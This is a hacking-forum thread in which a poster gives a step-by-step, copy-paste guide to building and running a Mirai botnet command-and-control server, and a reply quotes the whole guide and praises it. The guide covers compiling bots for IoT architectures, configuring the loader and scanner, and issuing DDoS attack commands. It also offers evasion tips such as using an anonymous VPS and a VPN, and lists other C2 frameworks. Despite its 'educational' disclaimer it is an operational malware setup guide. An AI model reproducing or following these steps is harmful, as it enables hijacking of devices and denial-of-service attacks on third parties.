

Forum:[Hack Forums](#)

Thread: [\[GUIDE\] COMPLETE MIRAI C&C SETUP ON DEBIAN 12 BOOKWORM](#)

Clumsy - June 17, 2026, 12:27 am

[GUIDE] COMPLETE MIRAI C&C SETUP ON DEBIAN 12 BOOKWORM - 2026 WORKING [100% NOOB FRIENDLY]

WHAT'S UP HACKFORUMS

I'm back with another banger tutorial. This time I'm dropping the most comprehensive, spoon-fed, copy-paste guide to setting up a FULLY WORKING Mirai C&C server on Debian 12 Bookworm.

This guide is SO detailed that even a complete newbie can follow it.

TABLE OF CONTENTS

What Is This

Prerequisites

Setting Up Your VPS

Installing Dependencies

Installing Go

Cloning Mirai Source

Cross-Compilers

Building Mirai

Setting Up MySQL

Building CNC

Configuring Loader

Building scanListen

Startup Script

Firewall

Using The CNC

CNC Commands

Troubleshooting

Warnings

Credits

SECTION 1: WHAT IS THIS

Mirai is a botnet malware that infects IoT devices and uses them to launch DDoS attacks. This guide shows how to set up the Command & Control server.

C&C Server = Headquarters

Bots = Army of infected devices

Attacks = Weapons

IMPORTANT: For EDUCATIONAL and SECURITY RESEARCH purposes ONLY.

SECTION 2: PREREQUISITES

Requirement	Minimum VPS	Yes	OS	Debian 12 Bookworm	Root Access	Yes	RAM	2GB	Storage	20GB
-------------	-------------	-----	----	--------------------	-------------	-----	-----	-----	---------	------

Time30-45 min

SECTION 3: SETTING UP YOUR VPS

Connect via SSH

```
ssh root@YOUR_VPS_IP
```

Update System

```
apt update -y && apt upgrade -y && apt autoremove -y
```

SECTION 4: INSTALLING DEPENDENCIES

```
apt install -y build-essential git sudo wget curl xz-utils pkg-config libgmp-dev linux-headers-$(uname -r) bison flex libelf-dev libncurses-dev libssl-dev libc6-dev-i386 mysql-server mysql-client libmysqlclient-dev screen
```

```
ln -sf /usr/lib/x86_64-linux-gnu/libgmp.so.10 /usr/lib/x86_64-linux-gnu/libgmp.so.3
```

SECTION 5: INSTALLING GO

```
cd /tmp
wget https://go.dev/dl/go1.15.15.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.15.15.linux-amd64.tar.gz
ln -sf /usr/local/go/bin/go /usr/local/bin/go
ln -sf /usr/local/go/bin/godoc /usr/local/bin/godoc
ln -sf /usr/local/go/bin/gofmt /usr/local/bin/gofmt
rm -f go1.15.15.linux-amd64.tar.gz
go version
```

SECTION 6: CLONING MIRAI SOURCE

```
cd ~
git clone https://github.com/jgamblin/Mirai-Source-Code
cd Mirai-Source-Code
ls -la
```

SECTION 7: INSTALLING UCLIBC

```
apt install -y uclibc-dev libuclibc-dev
```

SECTION 8: CROSS-COMPILERS

```
mkdir -p /etc/xcompile  
cd /etc/xcompile
```

Download compilers

```
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/armv4-eabi/tarballs/armv4-eabi--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/armv6-eabi/tarballs/armv6-eabi--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/i686/tarballs/i686--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/mips32/tarballs/mips32--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/mips32el/tarballs/mips32el--uclibc--stable-2022.08-1.tar.bz2
```

Extract

```
for compiler in *.tar.bz2; do tar -xjf "$compiler"; done  
rm -f *.tar.bz2
```

Rename

```
mv armv4-eabi--uclibc--stable- armv4l 2>/dev/null || true  
mv armv6-eabi--uclibc--stable-* armv6l 2>/dev/null || true  
mv i686--uclibc--stable-* i586 2>/dev/null || true  
mv mips32--uclibc--stable-* mips 2>/dev/null || true  
mv mips32el--uclibc--stable-* mipsel 2>/dev/null || true  
chmod -R 755 /etc/xcompile/*
```

SECTION 9: ENVIRONMENT VARIABLES

```
export  
PATH=$PATH:/etc/xcompile/armv4l/bin:/etc/xcompile/armv6l/bin:/etc/xcompile/i586/bin:/etc/xcompile/mips/bin:/etc/xcompile/mipsel/bin:/usr/local/go/bin
```

```
export GOPATH=$HOME/go
```

Make permanent

```
cat >> ~/.bashrc << 'EOF'
export
PATH=$PATH:/etc/xcompile/armv4l/bin:/etc/xcompile/armv6l/bin:/etc/xcompile/i586/bin:/etc/xcompil
e/mips/bin:/etc/xcompile/mipsel/bin:/usr/local/go/bin
export GOPATH=$HOME/go
EOF
source ~/.bashrc
```

SECTION 10: GO PACKAGES

```
export GO111MODULE=off
mkdir -p $GOPATH
go get github.com/go-sql-driver/mysql
go get github.com/matttn/go-shellwords
```

SECTION 11: PATCH BUILD SCRIPT

```
cd ~/Mirai-Source-Code
chmod +x build.sh
cp build.sh build.sh.backup
sed -i 's|gcc -static -static-libgcc|gcc -static -no-pie|g' build.sh
sed -i 's|-Wl,-static|-Wl,-static -no-pie|g' build.sh
```

SECTION 12: BUILDING MIRAI

```
./build.sh debug telnet
```

Verify

```
ls -la mirai/release/
ls -la mirai/cnc/
ls -la loader/
```

SECTION 13: SETTING UP MYSQL

```
systemctl start mysql
systemctl enable mysql
mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'mirai';"
mysql -e "FLUSH PRIVILEGES;"
```

Create database

```
mysql -uroot -pmirai << 'EOF'
CREATE DATABASE IF NOT EXISTS mirai;
CREATE USER IF NOT EXISTS 'mirai'@'localhost' IDENTIFIED BY 'mirai';
GRANT ALL PRIVILEGES ON mirai.* TO 'mirai'@'localhost';
FLUSH PRIVILEGES;
USE mirai;
CREATE TABLE IF NOT EXISTS `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(64) NOT NULL,
  `auth_level` int(11) NOT NULL DEFAULT '0',
  `admin` tinyint(1) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT IGNORE INTO `users` (`username`, `password`, `auth_level`, `admin`)
VALUES ('admin', 'admin', 10, 1);
EOF
```

SECTION 14: BUILDING CNC

```
cd ~/Mirai-Source-Code/mirai/cnc
sed -i 's|root:password@tcp(127.0.0.1:3306)/mirai|mirai:mirai@tcp(127.0.0.1:3306)/mirai|g' main.go
go build main.go
```

Systemd service

```
cat > /etc/systemd/system/mirai-cnc.service << 'EOF'
[Unit]
Description=Mirai CNC Server
After=mysql.service network.target
[Service]
Type=simple
User=root
WorkingDirectory=/root/Mirai-Source-Code/mirai/cnc
ExecStart=/root/Mirai-Source-Code/mirai/cnc/main
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
```

```
systemctl daemon-reload
systemctl enable mirai-cnc
systemctl start mirai-cnc
```

SECTION 15: CONFIGURING LOADER

```
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v '127.0.0.1' | head -1)
echo "Server IP: $SERVER_IP"
```

```
cd ~/Mirai-Source-Code/dlr
sed -i "s|#define HTTP_SERVER.*|#define HTTP_SERVER utils_inet_addr({$SERVER_IP//./})|g"
main.c
make clean && make
mkdir -p ~/Mirai-Source-Code/loader/bins
cp release/dlr.* ~/Mirai-Source-Code/loader/bins/
cd ~/Mirai-Source-Code/loader
sed -i "s|#define SERVER_IP.*|#define SERVER_IP \"$SERVER_IP\"|g" src/main.c
chmod +x build.sh
./build.sh
```

SECTION 16: BUILDING SCANLISTEN

```
cd ~/Mirai-Source-Code
sed -i "s|127.0.0.1|$SERVER_IP|g" scanListen.go
go build scanListen.go
```

SECTION 17: STARTUP SCRIPT

```
cat > ~/start-mirai.sh << 'EOF'
#!/bin/bash
systemctl start mysql
systemctl start mirai-cnc
if [ -f ~/Mirai-Source-Code/loader/loader ]; then
    screen -dmS loader ~/Mirai-Source-Code/loader/loader
fi
if [ -f ~/Mirai-Source-Code/scanListen ]; then
    screen -dmS scanlisten ~/Mirai-Source-Code/scanListen
fi
echo "All services started"
echo "CNC: screen -r"
echo "Loader: screen -r loader"
echo "scanListen: screen -r scanlisten"
```

```
EOF
chmod +x ~/start-mirai.sh
```

SECTION 18: FIREWALL

```
apt install -y ufw
ufw allow 22/tcp
ufw allow 23/tcp
ufw allow 80/tcp
echo "y" | ufw enable
```

SECTION 19: USING THE CNC

```
./start-mirai.sh
screen -r
```

Login

Username: admin
Password: admin

Detach: CTRL+A then D

SECTION 20: CNC COMMANDS

CommandDescription helpShow all commands botsList connected bots attack [ip] [port] [duration]
Launch attack killStop all attacks clearClear screen exitLogout statusShow botnet status adduser
[user] [pass]Add user deluser [user]Delete user setadmin [user]Make user admin

SECTION 21: TROUBLESHOOTING

"cannot find -lgcc"
apt install gcc-multilib g++-multilib

"go: command not found"
export PATH=\$PATH:/usr/local/go/bin && source ~/.bashrc

MySQL fails
systemctl restart mysql

CNC won't start
journalctl -u mirai-cnc -f
cd ~/Mirai-Source-Code/mirai/cnc && ./main

Permission denied

```
chmod +x ~/Mirai-Source-Code/build.sh ~/Mirai-Source-Code/loader/build.sh ~/start-mirai.sh
```

SECTION 22: WARNINGS

LEGAL

Using Mirai against any system you don't own is a FEDERAL CRIME

You WILL get caught

5-20 years in prison

Hundreds of thousands in fines

SECURITY

CHANGE ALL PASSWORDS immediately

Use a VPN

Use strong passwords

Never use real personal info

OPERATIONAL

Don't host at home

Use anonymous VPS

Don't tell anyone

Don't attack critical infrastructure

Don't attack government

ETHICAL

Use for education only

Use in lab environment

Report vulnerabilities responsibly

Don't be a skid

SERIOUSLY, DON'T BE STUPID

This guide is for educational purposes. If you use this to attack people, you deserve to get caught.

SECTION 23: CREDITS

paradox

Anna-senpai

Bootlin

jgamblin

HackForums

DON'T FORGET TO CHANGE ALL PASSWORDS

USE RESPONSIBLY [C2 ALTERNATIVES]

If you're looking for other C2 frameworks to use alongside or instead of Mirai, check these out

Havoc - <https://github.com/HavocFramework/Havoc>

Silent Trinity - <https://github.com/byt3bl33d3r/SILENTTRINITY>

Pupy - <https://github.com/n1nj4sec/pupy>

Empire - <https://github.com/BC-SECURITY/Empire>

Covenant - <https://github.com/cobbr/Covenant>

TrevorC2 - <https://github.com/trustedsec/trevorc2>

Sliver - <https://github.com/BishopFox/sliver>

Merlin - <https://github.com/Ne0nd0g/merlin>

PoshC2 - <https://github.com/nettitude/PoshC2>
Shad0w - <https://github.com/bats3c/shad0w>
Octopus - <https://github.com/mhaskar/Octopus>
Heroinn - <https://github.com/b23r0/Heroinn>
c2c2 - <https://github.com/JohnHammond/c2c2>
DeimosC2 - <https://github.com/DeimosC2/DeimosC2>
Khepri - <https://github.com/geemion/Khepri>
MicroBackdoor - <https://github.com/Cr4sh/MicroBackdoor>
Alan Framework - <https://github.com/enkomio/AlanFramework>
GC2-Sheet - <https://github.com/looCiprian/GC2-sheet>
Here is what your database should look like <http://paste.org.ru/?pdj05s>

Young Sosa - June 18, 2026, 7:08 pm

(Jun 17, 2026 12:27 AM)Clumsy Wrote: [\[CITE\]](#) [GUIDE] COMPLETE MIRAI C&C SETUP ON DEBIAN 12 BOOKWORM - 2026 WORKING [100% NOOB FRIENDLY]

WHAT'S UP HACKFORUMS

I'm back with another banger tutorial. This time I'm dropping the most comprehensive, spoon-fed, copy-paste guide to setting up a FULLY WORKING Mirai C&C server on Debian 12 Bookworm.

This guide is SO detailed that even a complete newbie can follow it.

TABLE OF CONTENTS

What Is This

Prerequisites

Setting Up Your VPS

Installing Dependencies

Installing Go

Cloning Mirai Source

Cross-Compilers

Building Mirai

Setting Up MySQL

Building CNC

Configuring Loader

Building scanListen

Startup Script

Firewall

Using The CNC

CNC Commands

Troubleshooting

Warnings

Credits

SECTION 1: WHAT IS THIS

Mirai is a botnet malware that infects IoT devices and uses them to launch DDoS attacks. This guide shows how to set up the Command & Control server.

C&C Server = Headquarters

Bots = Army of infected devices

Attacks = Weapons

IMPORTANT: For EDUCATIONAL and SECURITY RESEARCH purposes ONLY.

SECTION 2: PREREQUISITES

Requirement Minimum VPS Yes OS Debian 12 Bookworm Root Access Yes RAM 2GB Storage 20GB
Time 30-45 min

SECTION 3: SETTING UP YOUR VPS

Connect via SSH
ssh root@YOUR_VPS_IP

Update System

```
apt update -y && apt upgrade -y && apt autoremove -y
```

SECTION 4: INSTALLING DEPENDENCIES

```
apt install -y build-essential git sudo wget curl xz-utils pkg-config libgmp-dev linux-headers-$(uname -r) bison flex libelf-dev libncurses-dev libssl-dev libc6-dev-i386 mysql-server mysql-client libmysqlclient-dev screen
```

```
ln -sf /usr/lib/x86_64-linux-gnu/libgmp.so.10 /usr/lib/x86_64-linux-gnu/libgmp.so.3
```

SECTION 5: INSTALLING GO

```
cd /tmp
wget https://go.dev/dl/go1.15.15.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.15.15.linux-amd64.tar.gz
ln -sf /usr/local/go/bin/go /usr/local/bin/go
ln -sf /usr/local/go/bin/godoc /usr/local/bin/godoc
ln -sf /usr/local/go/bin/gofmt /usr/local/bin/gofmt
rm -f go1.15.15.linux-amd64.tar.gz
go version
```

SECTION 6: CLONING MIRAI SOURCE

```
cd ~
git clone https://github.com/jgamblin/Mirai-Source-Code
cd Mirai-Source-Code
ls -la
```

SECTION 7: INSTALLING UCLIBC

```
apt install -y uclibc-dev libuclibc-dev
```

SECTION 8: CROSS-COMPILERS

```
mkdir -p /etc/xcompile  
cd /etc/xcompile
```

Download compilers

```
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/armv4-eabi/tarballs/armv4-eabi--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/armv6-eabi/tarballs/armv6-eabi--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/i686/tarballs/i686--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/mips32/tarballs/mips32--uclibc--stable-2022.08-1.tar.bz2  
wget  
https://toolchains.bootlin.com/downloads/releases/toolchains/mips32el/tarballs/mips32el--uclibc--stable-2022.08-1.tar.bz2
```

Extract

```
for compiler in *.tar.bz2; do tar -xjf "$compiler"; done  
rm -f *.tar.bz2
```

Rename

```
mv armv4-eabi--uclibc--stable- armv4l 2>/dev/null || true  
mv armv6-eabi--uclibc--stable-* armv6l 2>/dev/null || true  
mv i686--uclibc--stable-* i586 2>/dev/null || true  
mv mips32--uclibc--stable-* mips 2>/dev/null || true  
mv mips32el--uclibc--stable-* mipsel 2>/dev/null || true  
chmod -R 755 /etc/xcompile/*
```

SECTION 9: ENVIRONMENT VARIABLES

```
export
PATH=$PATH:/etc/xcompile/armv4l/bin:/etc/xcompile/armv6l/bin:/etc/xcompile/i586/bin:/etc/xcompil
e/mips/bin:/etc/xcompile/mipsel/bin:/usr/local/go/bin
export GOPATH=$HOME/go
```

Make permanent

```
cat >> ~/.bashrc << 'EOF'
export
PATH=$PATH:/etc/xcompile/armv4l/bin:/etc/xcompile/armv6l/bin:/etc/xcompile/i586/bin:/etc/xcompil
e/mips/bin:/etc/xcompile/mipsel/bin:/usr/local/go/bin
export GOPATH=$HOME/go
EOF
source ~/.bashrc
```

SECTION 10: GO PACKAGES

```
export GO111MODULE=off
mkdir -p $GOPATH
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
```

SECTION 11: PATCH BUILD SCRIPT

```
cd ~/Mirai-Source-Code
chmod +x build.sh
cp build.sh build.sh.backup
sed -i 's|gcc -static -static-libgcc|gcc -static -no-pie|g' build.sh
sed -i 's|-Wl,-static|-Wl,-static -no-pie|g' build.sh
```

SECTION 12: BUILDING MIRAI

```
./build.sh debug telnet
```

Verify

```
ls -la mirai/release/
ls -la mirai/cnc/
ls -la loader/
```

SECTION 13: SETTING UP MYSQL

```
systemctl start mysql
systemctl enable mysql
mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'mirai';"
mysql -e "FLUSH PRIVILEGES;"
```

Create database

```
mysql -uroot -pmirai << 'EOF'
CREATE DATABASE IF NOT EXISTS mirai;
CREATE USER IF NOT EXISTS 'mirai'@'localhost' IDENTIFIED BY 'mirai';
GRANT ALL PRIVILEGES ON mirai.* TO 'mirai'@'localhost';
FLUSH PRIVILEGES;
USE mirai;
CREATE TABLE IF NOT EXISTS `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(64) NOT NULL,
  `auth_level` int(11) NOT NULL DEFAULT '0',
  `admin` tinyint(1) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT IGNORE INTO `users` (`username`, `password`, `auth_level`, `admin`)
VALUES ('admin', 'admin', 10, 1);
EOF
```

SECTION 14: BUILDING CNC

```
cd ~/Mirai-Source-Code/mirai/cnc
sed -i 's|root:password@tcp(127.0.0.1:3306)/mirai|mirai:mirai@tcp(127.0.0.1:3306)/mirai|g' main.go
go build main.go
```

Systemd service

```
cat > /etc/systemd/system/mirai-cnc.service << 'EOF'
[Unit]
Description=Mirai CNC Server
After=mysql.service network.target
[Service]
Type=simple
User=root
WorkingDirectory=/root/Mirai-Source-Code/mirai/cnc
ExecStart=/root/Mirai-Source-Code/mirai/cnc/main
```

```
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable mirai-cnc
systemctl start mirai-cnc
```

SECTION 15: CONFIGURING LOADER

```
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v '127.0.0.1' | head -1)
echo "Server IP: $SERVER_IP"
```

```
cd ~/Mirai-Source-Code/dlr
sed -i "s|/#define HTTP_SERVER.*|/#define HTTP_SERVER utils_inet_addr({$SERVER_IP//./})|g"
main.c
make clean && make
mkdir -p ~/Mirai-Source-Code/loader/bins
cp release/dlr.* ~/Mirai-Source-Code/loader/bins/
cd ~/Mirai-Source-Code/loader
sed -i "s|/#define SERVER_IP.*|/#define SERVER_IP \"$SERVER_IP\"|g" src/main.c
chmod +x build.sh
./build.sh
```

SECTION 16: BUILDING SCANLISTEN

```
cd ~/Mirai-Source-Code
sed -i "s|127.0.0.1|$SERVER_IP|g" scanListen.go
go build scanListen.go
```

SECTION 17: STARTUP SCRIPT

```
cat > ~/start-mirai.sh << 'EOF'
#!/bin/bash
systemctl start mysql
systemctl start mirai-cnc
if [ -f ~/Mirai-Source-Code/loader/loader ]; then
    screen -dmS loader ~/Mirai-Source-Code/loader/loader
fi
if [ -f ~/Mirai-Source-Code/scanListen ]; then
    screen -dmS scanlisten ~/Mirai-Source-Code/scanListen
```

```
fi
echo "All services started"
echo "CNC: screen -r"
echo "Loader: screen -r loader"
echo "scanListen: screen -r scanlisten"
EOF
chmod +x ~/start-mirai.sh
```

SECTION 18: FIREWALL

```
apt install -y ufw
ufw allow 22/tcp
ufw allow 23/tcp
ufw allow 80/tcp
echo "y" | ufw enable
```

SECTION 19: USING THE CNC

```
./start-mirai.sh
screen -r
```

Login

Username: admin
Password: admin

Detach: CTRL+A then D

SECTION 20: CNC COMMANDS

CommandDescription helpShow all commands botsList connected bots attack [ip] [port] [duration]
Launch attack killStop all attacks clearClear screen exitLogout statusShow botnet status adduser
[user] [pass]Add user deluser [user]Delete user setadmin [user]Make user admin

SECTION 21: TROUBLESHOOTING

"cannot find -lgcc"
apt install gcc-multilib g++-multilib

"go: command not found"
export PATH=\$PATH:/usr/local/go/bin && source ~/.bashrc

MySQL fails
systemctl restart mysql

```
CNC won't start
journalctl -u mirai-cnc -f
cd ~/Mirai-Source-Code/mirai/cnc && ./main
```

```
Permission denied
chmod +x ~/Mirai-Source-Code/build.sh ~/Mirai-Source-Code/loader/build.sh ~/start-mirai.sh
```

SECTION 22: WARNINGS

LEGAL

Using Mirai against any system you don't own is a FEDERAL CRIME

You WILL get caught

5-20 years in prison

Hundreds of thousands in fines

SECURITY

CHANGE ALL PASSWORDS immediately

Use a VPN

Use strong passwords

Never use real personal info

OPERATIONAL

Don't host at home

Use anonymous VPS

Don't tell anyone

Don't attack critical infrastructure

Don't attack government

ETHICAL

Use for education only

Use in lab environment

Report vulnerabilities responsibly

Don't be a skid

SERIOUSLY, DON'T BE STUPID

This guide is for educational purposes. If you use this to attack people, you deserve to get caught.

SECTION 23: CREDITS

paradox

Anna-senpai

Bootlin

jgamblin

HackForums

DON'T FORGET TO CHANGE ALL PASSWORDS

USE RESPONSIBLY [C2 ALTERNATIVES]

If you're looking for other C2 frameworks to use alongside or instead of Mirai, check these out

Havoc - <https://github.com/HavocFramework/Havoc>

Silent Trinity - <https://github.com/byt3bl33d3r/SILENTTRINITY>

Pupy - <https://github.com/n1nj4sec/pupy>

Empire - <https://github.com/BC-SECURITY/Empire>
Covenant - <https://github.com/cobbr/Covenant>
TrevorC2 - <https://github.com/trustedsec/trevorc2>
Sliver - <https://github.com/BishopFox/sliver>
Merlin - <https://github.com/Ne0nd0g/merlin>
PoshC2 - <https://github.com/nettitude/PoshC2>
Shad0w - <https://github.com/bats3c/shad0w>
Octopus - <https://github.com/mhaskar/Octopus>
Heroinn - <https://github.com/b23r0/Heroinn>
c2c2 - <https://github.com/JohnHammond/c2c2>
DeimosC2 - <https://github.com/DeimosC2/DeimosC2>
Khepri - <https://github.com/geemion/Khepri>
MicroBackdoor - <https://github.com/Cr4sh/MicroBackdoor>
Alan Framework - <https://github.com/enkomio/AlanFramework>
GC2-Sheet - <https://github.com/looCiprian/GC2-sheet>
Here is what your database should look like <http://paste.org.ru/?pdj05s>

One of the best tut around

CrazyMinecraftOMG - June 19, 2026, 5:36 am

still exist? i was one of the firsts to setup this genius botnet, i remember good old day ;(